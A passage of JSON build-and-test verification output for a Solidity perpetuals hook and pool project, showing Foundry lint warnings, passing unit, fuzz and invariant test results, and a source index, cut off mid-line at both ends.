disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:211:71\n    │\n211 │             SafeTransferLib.safeTransfer(token, address(poolManager), uint256(uint128(-a1)));\n    │                                                                       ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:211:79\n    │\n211 │             SafeTransferLib.safeTransfer(token, address(poolManager), uint256(uint128(-a1)));\n    │                                                                               ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/IMD6900PerpPool.sol:212:13\n    │\n212 │             poolManager.settle();\n    │             ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:214:60\n    │\n214 │             poolManager.take(key.currency1, address(this), uint256(uint128(a1)));\n    │                                                            ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:214:68\n    │\n214 │             poolManager.take(key.currency1, address(this), uint256(uint128(a1)));\n    │                                                                    ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[return-bomb]: external call with a gas limit may copy unbounded return data\n    ╭▸ src/IMD6900PerpHook.sol:418:43\n    │\n418 │               (bool ok, bytes memory out) = engine.call{gas: g - reserve}(\n    │ ┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛\n419 │ ┃                 abi.encodeCall(IPerpSweep.sweepLiquidations, (tx.origin, spec, isBuy, limit))\n420 │ ┃             );\n    │ ┗━━━━━━━━━━━━━┛\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/return-bomb\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:241:60\n    │\n241 │         return l > type(uint128).max ? type(uint128).max : uint128(l);\n    │                                                            ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:245:24\n    │\n245 │         return v < 0 ? uint256(uint128(-v)) : uint256(uint128(v));\n    │                        ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:245:32\n    │\n245 │         return v < 0 ? uint256(uint128(-v)) : uint256(uint128(v));\n    │                                ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:245:47\n    │\n245 │         return v < 0 ? uint256(uint128(-v)) : uint256(uint128(v));\n    │                                               ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:245:55\n    │\n245 │         return v < 0 ? uint256(uint128(-v)) : uint256(uint128(v));\n    │                                                       ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\n","passed":true},{"durationMs":3516,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/RobinhoodFlow.fork.t.sol:RobinhoodFlowForkTest\n[SKIP: skipped] setUp() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 1 skipped; finished in 300.24µs (0.00ns CPU time)\n\nRan 7 tests for test/IMD6900Perps.t.sol:IMD6900PerpsTest\n[PASS] test_AnyoneDeepensIt() (gas: 272831)\n[PASS] test_OnlyTheOwnerOpensAndRemoves() (gas: 231692)\n[PASS] test_OnlyThePoolAddsLiquidity() (gas: 405775)\n[PASS] test_OpensAtThePrice() (gas: 53455)\n[PASS] test_PerpsOffUntilAnEngineIsSet() (gas: 11135)\n[PASS] test_RefusesToDriftFarFromPons() (gas: 185514)\n[PASS] test_TradesBothWays() (gas: 409119)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 8.00ms (1.58ms CPU time)\n\nRan 14 tests for test/IMD6900Callbacks.t.sol:IMD6900CallbacksTest\n[PASS] test_AddAndRemoveRequireThePoolAndTheEntireRange() (gas: 316532)\n[PASS] test_AllCallbacksRequireTheRealPoolManager() (gas: 300393)\n[PASS] test_BandExemptionDoesNotExemptThePreTradeSweep() (gas: 445661)\n[PASS] test_CallbackPermissionsExactlyMatchMinedFlags() (gas: 36119)\n[PASS] test_EngineOriginatedSwapsDoNotRecursivelySweep() (gas: 262643)\n[PASS] test_FailOpenDoesNotDisableThePriceBand() (gas: 379223)\n[PASS] test_LowGasWithOpenPositionsRevertsAndEmptyBookStillTrades() (gas: 476790)\n[PASS] test_OnlyLauncherCanInitializeAndInitializationCannotRepeat() (gas: 82453)\n[PASS] test_PostSweepFailureIsBestEffort() (gas: 748163)\n[PASS] test_PreAndPostSweepReceiveTheTradeAndLiquidator() (gas: 463063)\n[PASS] test_RevertingAndMalformedSweepFailClosedAndOwnerCanOptInToEscape() (gas: 990877)\n[PASS] test_SwapCallbacksReturnNoDeltasAndNoFeeOverride() (gas: 129984)\n[PASS] test_SweepStatusesFailClosedEvenWithUnavailableEngineEscapeEnabled() (gas: 1028630)\n[PASS] test_WrongPoolCannotTriggerAnEngineSweep() (gas: 120144)\nSuite result: ok. 14 passed; 0 failed; 0 skipped; finished in 160.98ms (5.15ms CPU time)\n\nRan 5 tests for test/IMD6900PerpsLaunch.t.sol:IMD6900PerpsLaunchTest\n[PASS] test_DeploysOnAFreshChain() (gas: 5981565)\n[PASS] test_EachDeployerMinesItsOwnSalt() (gas: 10403172)\n[PASS] test_FitsOneTransaction() (gas: 5878591)\nLogs:\n  launch gas (the mining included): 5875328\n\n[PASS] test_PassesTheAdmissionScan() (gas: 12760562)\n[PASS] test_RefusesADynamicFee() (gas: 4280)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 161.80ms (97.41ms CPU time)\n\nRan 36 tests for test/IMD6900Audit.t.sol:IMD6900AuditTest\n[PASS] testFuzz_AddKeepsAccruedFeesInBothCurrencies(uint96,uint96) (runs: 256, μ: 842671, ~: 845853)\nLogs:\n  Bound result 99999999000000154\n  Bound result 80300083265491026260240827\n\n[PASS] testFuzz_ReciprocalReferencesHaveEqualDeviation(uint32) (runs: 256, μ: 83828, ~: 83702)\nLogs:\n  Bound result 209676\n\n[PASS] test_AddRefundToRejectingRecipientReverts() (gas: 516504)\n[PASS] test_AddReportsPrincipalWhenEthFeesExceedDeposit() (gas: 620658)\n[PASS] test_AddReportsPrincipalWhenFeesOnlyPartlyPayForIt() (gas: 620813)\n[PASS] test_AddReportsPrincipalWhenTokenFeesExceedDeposit() (gas: 646977)\n[PASS] test_AllGraduatedReferenceFailuresKeepTrading() (gas: 1366326)\n[PASS] test_AnyoneDeepensIt() (gas: 273167)\n[PASS] test_BandExemptCallersStillPayTheStaticFee() (gas: 340237)\n[PASS] test_CompoundReportsPrincipalSeparatelyFromFees() (gas: 550937)\n[PASS] test_CorrectionCannotOvershootFarBelowPons() (gas: 223683)\n[PASS] test_CorrectionsOutsideBandStillTradeBothWays() (gas: 542632)\n[PASS] test_DeviationComparesReciprocalPriceRatios() (gas: 81428)\n[PASS] test_EngineSwapsKeepTheirBandExemptionAndPayTheStaticFee() (gas: 340508)\n[PASS] test_FailClosedEngineNeverPreventsOwnerExit() (gas: 1010037)\n[PASS] test_FlushRetainsThe97To3SplitAndRenunciation() (gas: 160012)\n[PASS] test_FlushToRejectingRecipientRevertsAtomically() (gas: 298720)\n[PASS] test_FractionalBasisPointFeeViewsRoundUpWithoutChangingPoolFee() (gas: 54131)\n[PASS] test_GraduatedReferenceUsesTheLivePoolPrice() (gas: 777486)\n[PASS] test_GraduationWithNoFactoryCodeKeepsTrading() (gas: 397867)\n[PASS] test_MalformedReservesKeepTrading() (gas: 232643)\n[PASS] test_ObsoleteFeeAndSkimSettersCannotMisreportFees() (gas: 88654)\n[PASS] test_OnlyOwnerSetsTheBand() (gas: 278519)\n[PASS] test_OnlyTheOwnerOpensAndRemoves() (gas: 231869)\n[PASS] test_OnlyThePoolAddsLiquidity() (gas: 406542)\n[PASS] test_OpenRefundToRejectingOwnerReverts() (gas: 711966)\n[PASS] test_OpensAtThePrice() (gas: 53525)\n[PASS] test_PerpsOffUntilAnEngineIsSet() (gas: 11669)\n[PASS] test_PostSweepCannotDisableBand() (gas: 913472)\n[PASS] test_RefusesToDriftFarFromPons() (gas: 186049)\n[PASS] test_RemoveAllPaysPrincipalAndFeesAndCanFundANewHook() (gas: 1308049)\n[PASS] test_RemoveToRejectingRecipientRevertsAndOwnerCanRetry() (gas: 567497)\n[PASS] test_RevertingReservesKeepTrading() (gas: 231708)\n[PASS] test_StaticFeeViewsMatchForEveryCaller() (gas: 152983)\n[PASS] test_TradesBothWays() (gas: 409723)\n[PASS] test_UnreadableGraduatedFlagKeepsTrading() (gas: 229965)\nSuite result: ok. 36 passed; 0 failed; 0 skipped; finished in 163.73ms (242.94ms CPU time)\n\nRan 18 tests for test/IMD6900Lifecycle.t.sol:IMD6900LifecycleTest\n[PASS] testFuzz_FlushConservesEthAndHasLessThanOneWeiRoundingError(uint96) (runs: 1000, μ: 86309, ~: 86979)\nLogs:\n  Bound result 1167262518209\n\n[PASS] testFuzz_RepeatedDepositWithdrawalCannotCreateValue(uint96,uint96,uint8) (runs: 1000, μ: 2007281, ~: 1720371)\nLogs:\n  Bound result 9734\n  Bound result 117\n  Bound result 8\n\n[PASS] test_CompoundThresholdsRejectAtomicallyAndEqualityWorks() (gas: 726396)\n[PASS] test_EmptyFlushIsIdempotentAndRoundingPinsTheThreePercentBoundary() (gas: 168672)\n[PASS] test_FailedTokenPayoutRollsBackEthPayoutAndLiquidityBurn() (gas: 847596)\n[PASS] test_FeeAddressCanRenounceButCannotReassignItsShare() (gas: 194321)\n[PASS] test_FeeSinkFailureRollsBackTheEntireFlushAndCanBeRepairedByOwner() (gas: 429982)\n[PASS] test_InvalidInitialPriceRollsBackTokenTransfer() (gas: 221101)\n[PASS] test_MissingAllowanceAndFalseReturningTokenCannotOpen() (gas: 272325)\n[PASS] test_NoHookRejectsOpeningBeforeTakingTokens() (gas: 77171)\n[PASS] test_OneSidedDonationsCannotBeCompoundedUntilPaired() (gas: 636040)\n[PASS] test_OpenOnceEvenAfterAllLiquidityIsRemoved() (gas: 893630)\n[PASS] test_OwnerCannotReplaceTheHookInPlace() (gas: 45434)\n[PASS] test_RefundCannotReenterLiquidityOperations() (gas: 969007)\n[PASS] test_UnauthorizedConfigurationAndOpening() (gas: 377724)\n[PASS] test_UnopenedPoolRejectsDepositAndCompound() (gas: 134107)\n[PASS] test_ZeroAndOneWeiOpeningRollBackInitialization() (gas: 902931)\n[PASS] test_ZeroDustAndExcessiveRemovalLeaveLiquidityUnchanged() (gas: 711832)\nSuite result: ok. 18 passed; 0 failed; 0 skipped; finished in 169.80ms (333.06ms CPU time)\n\nRan 2 tests for test/IMD6900Mining.t.sol:IMD6900MiningTest\n[PASS] test_ExhaustedMiningReturnsNoSaltWithinTheBudget() (gas: 16384920)\nLogs:\n  exhausted mining gas: 11613336\n\n[PASS] test_UnluckyFactorySaltFailsCleanlyWithinOneTransaction() (gas: 13697558)\nLogs:\n  exhausted complete launch gas: 13670157\n\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 346.29ms (445.81ms CPU time)\n\nRan 2 tests for test/IMD6900Stateful.t.sol:IMD6900StatefulTest\n[PASS]\nIMD6900StatefulTest invariants:\n[PASS] invariant_CustodyEqualsExternalCashFlows\n[PASS] invariant_OnlyThePoolOwnsTheFullRangePosition\n IMD6900StatefulTest invariants (runs: 256, calls: 16384, reverts: 0)\n\n╭----------------------+---------------+-------+---------+----------╮\n| Contract             | Selector      | Calls | Reverts | Discards |\n+===================================================================+\n| PerpsStatefulHandler | add           | 1640  | 0       | 0        |\n|----------------------+---------------+-------+---------+----------|\n| PerpsStatefulHandler | addFees       | 1621  | 0       | 0        |\n|----------------------+---------------+-------+---------+----------|\n| PerpsStatefulHandler | compound      | 1727  | 0       | 0        |\n|----------------------+---------------+-------+---------+----------|\n| PerpsStatefulHandler | donate        | 1595  | 0       | 0        |\n|----------------------+---------------+-------+---------+----------|\n| PerpsStatefulHandler | flush         | 1617  | 0       | 0        |\n|----------------------+---------------+-------+---------+----------|\n| PerpsStatefulHandler | remove        | 1639  | 0       | 0        |\n|----------------------+---------------+-------+---------+----------|\n| PerpsStatefulHandler | renounce      | 1685  | 0       | 0        |\n|----------------------+---------------+-------+---------+----------|\n| PerpsStatefulHandler | setForwarding | 1594  | 0       | 0        |\n|----------------------+---------------+-------+---------+----------|\n| PerpsStatefulHandler | swap          | 1616  | 0       | 0        |\n|----------------------+---------------+-------+---------+----------|\n| PerpsStatefulHandler | unauthorized  | 1650  | 0       | 0        |\n╰----------------------+---------------+-------+---------+----------╯\n\nLogs:\n  Bound result 20000000000000000\n  Bound result 999999999999017397\n  Bound result 127\n  Bound result 7000\n  Bound result 319765184582360381\n  Bound result 999999999999000011\n  Bound result 999999999999000035\n  Bound result 999999999001482\n  Bound result 999999999999400001\n  Bound result 999999999999003488\n  Bound result 939372903114371\n  Bound result 1998999998999037\n  Bound result 1000000000000000000\n  Bound result 1000000000000\n  Bound result 2654\n  Bound result 4352\n  Bound result 999999999999000007\n  Bound result 999999999999004980\n  Bound result 12000000\n  Bound result 69020456017556629\n  Bound result 1000000000\n  Bound result 667782207957268\n  Bound result 999999999999999951\n  Bound result 100\n  Bound result 23087295751192190\n  Bound result 2997488351549621\n  Bound result 1915729226931213388\n  Bound result 9000\n  Bound result 500\n  Bound result 4432\n  Bound result 539802172621677729\n  Bound result 1000000\n  Bound result 2000\n  Bound result 1\n  Bound result 351786278060597863\n  Bound result 36118710858123922\n  Bound result 10000\n  Bound result 1117870793202955\n  Bound result 95\n  Bound result 537438241320664953\n  Bound result 1000000000000000000\n  Bound result 539964230700301409\n  Bound result 5\n  Bound result 12000000\n  Bound result 969999999999999999\n  Bound result 60\n  Bound result 745730125317407416\n  Bound result 27\n  Bound result 1000000000\n  Bound result 2000\n  Bound result 600000000000000000\n  Bound result 3161731040102153\n  Bound result 1051976609041720\n  Bound result 1000002\n\n[PASS] test_HandlerExercisesValueFlowsAndRefillsAnEmptyPool() (gas: 2866556)\nLogs:\n  Bound result 10000000000000000\n  Bound result 10000000000000000\n  Bound result 1000000000000000000\n  Bound result 1000000000000000000\n  Bound result 1000000000000000000\n  Bound result 1000000000000000000\n  Bound result 1000000000000000000\n  Bound result 1000000000000000000\n  Bound result 1000000000000000000\n  Bound result 100\n  Bound result 0\n\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 3.42s (3.42s CPU time)\n\nRan 8 test suites in 3.43s (4.43s CPU time): 84 tests passed, 0 failed, 1 skipped (85 total tests)\n","passed":true},{"durationMs":58,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"IMD6900PerpHook.afterAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),int256,int256,bytes)\",\"IMD6900PerpHook.afterDonate(address,(address,address,uint24,int24,address),uint256,uint256,bytes)\",\"IMD6900PerpHook.afterInitialize(address,(address,address,uint24,int24,address),uint160,int24)\",\"IMD6900PerpHook.afterRemoveLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),int256,int256,bytes)\",\"IMD6900PerpHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"IMD6900PerpHook.beforeAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"IMD6900PerpHook.beforeDonate(address,(address,address,uint24,int24,address),uint256,uint256,bytes)\",\"IMD6900PerpHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"IMD6900PerpHook.beforeRemoveLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"IMD6900PerpHook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"IMD6900PerpHook.cancelOwnershipHandover()\",\"IMD6900PerpHook.completeOwnershipHandover(address)\",\"IMD6900PerpHook.flush()\",\"IMD6900PerpHook.receive()\",\"IMD6900PerpHook.renounceFeeAddress()\",\"IMD6900PerpHook.renounceOwnership()\",\"IMD6900PerpHook.requestOwnershipHandover()\",\"IMD6900PerpHook.setFeeExempt(address,bool)\",\"IMD6900PerpHook.setMaxDeviationBps(uint256)\",\"IMD6900PerpHook.setPerpEngine(address)\",\"IMD6900PerpHook.setSweepFailOpen(bool)\",\"IMD6900PerpHook.transferOwnership(address)\",\"IMD6900PerpHook.updateFeeAddress(address)\",\"IMD6900PerpPool.addFees()\",\"IMD6900PerpPool.addLiquidity(uint256,address)\",\"IMD6900PerpPool.cancelOwnershipHandover()\",\"IMD6900PerpPool.completeOwnershipHandover(address)\",\"IMD6900PerpPool.compound(uint256,uint256)\",\"IMD6900PerpPool.open(address,address,uint160,uint256)\",\"IMD6900PerpPool.receive()\",\"IMD6900PerpPool.removeLiquidity(uint128,address,address)\",\"IMD6900PerpPool.renounceOwnership()\",\"IMD6900PerpPool.requestOwnershipHandover()\",\"IMD6900PerpPool.setFeeSink(address)\",\"IMD6900PerpPool.setHook(address)\",\"IMD6900PerpPool.setPerpEngine(address)\",\"IMD6900PerpPool.transferOwnership(address)\",\"IMD6900PerpPool.unlockCallback(bytes)\"],\"files\":{\".gitignore\":4,\"ADAPTATION.md\":61,\"README.md\":105,\"foundry.toml\":25,\"script/Owner.s.sol\":94,\"src/IMD6900PerpHook.sol\":438,\"src/IMD6900PerpPool.sol\":247,\"src/IMD6900PerpsLaunch.sol\":78,\"test/IMD6900Audit.t.sol\":494,\"test/IMD6900Callbacks.t.sol\":246,\"test/IMD6900Lifecycle.t.sol\":327,\"test/IMD6900Mining.t.sol\":123,\"test/IMD6900Perps.t.sol\":158,\"test/IMD6900PerpsLaunch.t.sol\":97,\"test/IMD6900Stateful.t.sol\":383,\"test/RobinhoodFlow.fork.t.sol\":299,\"test/TESTING.md\":49,\"test/helpers/PerpsFixture.sol\":161},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"1bfd8b79c0bef00f92ea581510e2c94badb852f815e9cde74763382fc054d6c1","verifiedTreeHash":"c40900e6cc6d0aac302e009f6737a3c7171a1d68","verifierVersion":"0.1.0+fdeb4d4a"},{"checks":[{"durationMs":23697,"exitCode":0,"name":"build","output":"Compiling 85 files with Solc 0.8.26\nSolc 0.8.26 finished in 23.57s\nCompiler run successful!\nwarning[encode-packed-collision]: `abi.encodePacked()` called with multiple dynamic type arguments; hash collisions possible\n   ╭▸ src/IMD6900PerpsLaunch.sol:40:29\n   │\n40 │           bytes memory init = abi.encodePacked(\n   │ ┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛\n41 │ ┃             type(IMD6900PerpHook).creationCode, abi.encode(poolManager, address(p), feeAddress, owner, poolFee)\n42 │ ┃         );\n   │ ┗━━━━━━━━━┛\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/encode-packed-collision\n\nwarning[uninitialized-local]: local variable is read before being initialized\n   ╭▸ src/IMD6900PerpsLaunch.sol:76:14\n   │\n76 │         if (!found) revert NoSalt();\n   │              ━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/uninitialized-local\n\nwarning[missing-events-access-control]: `feeAddress` is changed without an event but is used for access control\n    ╭▸ src/IMD6900PerpHook.sol:233:9\n    │\n233 │         feeAddress = launcher;\n    │         ━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-events-access-control\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/IMD6900PerpPool.sol:77:25\n   │\n77 │     function setFeeSink(address feeSink_) external onlyOwner {\n   │                         ━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n   ╭▸ src/IMD6900PerpPool.sol:79:9\n   │\n79 │         emit FeeSinkSet(feeSink_);\n   │         ━━━━━━━━━━━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpHook.sol:165:63\n    │\n165 │     constructor(IPoolManager poolManager_, address launcher_, address feeAddress_, address owner_, uint24 poolFeePips_)\n    │                                                               ━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpHook.sol:165:44\n    │\n165 │     constructor(IPoolManager poolManager_, address launcher_, address feeAddress_, address owner_, uint24 poolFeePips_)\n    │                                            ━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/IMD6900PerpPool.sol:93:22\n   │\n93 │     function setHook(address hook_) external onlyOwner {\n   │                      ━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n   ╭▸ src/IMD6900PerpPool.sol:96:9\n   │\n96 │         emit HookSet(hook_);\n   │         ━━━━━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpHook.sol:200:28\n    │\n200 │     function setPerpEngine(address engine) external onlyOwner {\n    │                            ━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/IMD6900PerpPool.sol:99:28\n   │\n99 │     function setPerpEngine(address engine) external onlyOwner {\n   │                            ━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:101:9\n    │\n101 │         emit PerpEngineSet(engine);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:202:9\n    │\n202 │         emit PerpEngineSet(engine);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[arbitrary-send-eth]: ETH is sent to a user-controlled destination; restrict the destination or the caller\n    ╭▸ src/IMD6900PerpPool.sol:116:9\n    │\n116 │         SafeTransferLib.safeTransferETH(ethTo, eth);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/arbitrary-send-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:207:9\n    │\n207 │         emit SweepFailOpenSet(on);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:214:9\n    │\n214 │         emit MaxDeviationSet(maxDeviationBps_);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:219:9\n    │\n219 │         emit FeeExemptSet(caller, exempt);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpHook.sol:222:31\n    │\n222 │     function updateFeeAddress(address feeAddress_) external onlyOwner {\n    │                               ━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:225:9\n    │\n225 │         emit FeeAddressUpdated(feeAddress_);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[non-reentrant-not-first]: `nonReentrant` is not the first modifier\n    ╭▸ src/IMD6900PerpPool.sol:106:95\n    │\n106 │     function removeLiquidity(uint128 liq, address ethTo, address tokensTo) external onlyOwner nonReentrant {\n    │                                                                                               ━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/non-reentrant-not-first\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/IMD6900PerpPool.sol:113:21\n    │\n113 │                 if (IPerpBookView(engine).isLiquidatable(ids[i])) revert WouldLiquidate(ids[i]);\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:118:9\n    │\n118 │         emit LiquidityRemoved(liq, eth, tokens, ethTo, tokensTo);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/IMD6900PerpPool.sol:113:67\n    │\n113 │                 if (IPerpBookView(engine).isLiquidatable(ids[i])) revert WouldLiquidate(ids[i]);\n    │                                                                   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[non-reentrant-not-first]: `nonReentrant` is not the first modifier\n    ╭▸ src/IMD6900PerpPool.sol:128:9\n    │\n128 │         nonReentrant\n    │         ━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/non-reentrant-not-first\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpPool.sol:124:19\n    │\n124 │     function open(address token_, address 